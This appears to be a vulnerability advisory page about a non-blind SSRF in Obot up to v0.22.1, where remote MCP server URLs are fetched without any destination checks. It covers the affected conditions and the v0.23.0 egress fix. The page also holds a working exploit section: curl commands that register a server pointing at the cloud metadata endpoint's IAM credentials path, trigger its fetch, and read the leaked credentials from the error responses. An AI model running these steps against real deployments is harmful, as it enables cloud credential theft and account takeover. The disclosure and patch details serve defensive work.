Listen to this Post
In affected Obot versions, a remote MCP server URL is accepted at registration.
The URL is attacker-controlled and is fetched server-side.
There is no validation of the destination before the fetch.
The registration path checks only that the URL is parseable.
It also checks only that the scheme is http or https.
The destination host, IP, and network range are never constrained.
Obot connects to that URL when the remote MCP server is launched.
Obot also connects when the server’s OAuth state is checked.
The controller automatically fetches OAuth discovery metadata during reconcile.
The metadata-sync code path runs automatically during reconciliation.
No user interaction beyond registration is required.
The one egress guard, DisallowLocalhostMCP, is disabled by default.
When enabled, it only blocks loopback.
It is absent from the automatic metadata-fetch path.
Because of this, loopback addresses are reachable.
Link-local addresses are reachable.
RFC1918 private ranges are reachable.
The cloud metadata endpoint 169.254.169.254 is reachable.
A user with Power User, Power User Plus, or Admin role can coerce Obot.
Obot makes requests to internal services.
Obot makes requests to the cloud instance metadata service.
The fetched response body is reflected back in Obot error messages.
This makes the issue a non-blind SSRF.
The attacker can read the responses.
Against 169.254.169.254, cloud IAM credentials may be disclosed.
This enables a pivot into the cloud account.
Affected versions are Obot <= v0.22.1.
Authentication must be enabled.
Privileged users must be allowed to register remote MCP servers.
Upgrade to v0.23.0 or later applies a single outbound egress chokepoint.
It rejects loopback at dial time.
It rejects link-local including 169.254.169.254.
It rejects RFC1918 and IPv6 ULA on the resolved IP.
This applies uniformly to remote-MCP and OAuth-metadata clients.
DailyCVE Form:
Platform: Obot
Version: <= v0.22.1
Vulnerability: Non-blind SSRF
Severity: High
date: Not provided
Prediction: Not provided
(end of form)
What Undercode Say:
Analytics
Check Obot version
curl -s "https://OBOT/api/version"
Register remote MCP server with metadata URL
curl -s -X POST "https://OBOT/api/v1/mcp/remote" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"name":"ssrf","url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/","transport":"http"}'
Trigger reconcile or metadata fetch
curl -s -X POST "https://OBOT/api/v1/mcp/remote/ssrf/reconcile" \
-H "Authorization: Bearer $TOKEN"
Read reflected response in error
curl -s "https://OBOT/api/v1/mcp/remote/ssrf" \
-H "Authorization: Bearer $TOKEN"
Exploit: (Educational Purposes!)
TOKEN="<Power User/Admin token>"
OBOT="https://obot.example.com"
Register remote MCP server pointing to metadata
curl -sk -X POST "$OBOT/api/v1/mcp/remote" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"name": "metadata-ssrf",
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"transport": "http"
}'
Trigger launch or OAuth state check
curl -sk -X POST "$OBOT/api/v1/mcp/remote/metadata-ssrf/launch" \
-H "Authorization: Bearer $TOKEN"
Read response reflected in error
curl -sk "$OBOT/api/v1/mcp/remote/metadata-ssrf" \
-H "Authorization: Bearer $TOKEN"
Protection: from this CVE
upgrade: Obot >= v0.23.0 egress_chokepoint: reject: - loopback - link-local - 169.254.169.254 - RFC1918 - IPv6 ULA enforce: resolved IP at dial time scope: - remote-MCP client - OAuth-metadata client
Impact:
Internal-only service access Cloud metadata service access Cloud IAM credential disclosure Cloud account pivot
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
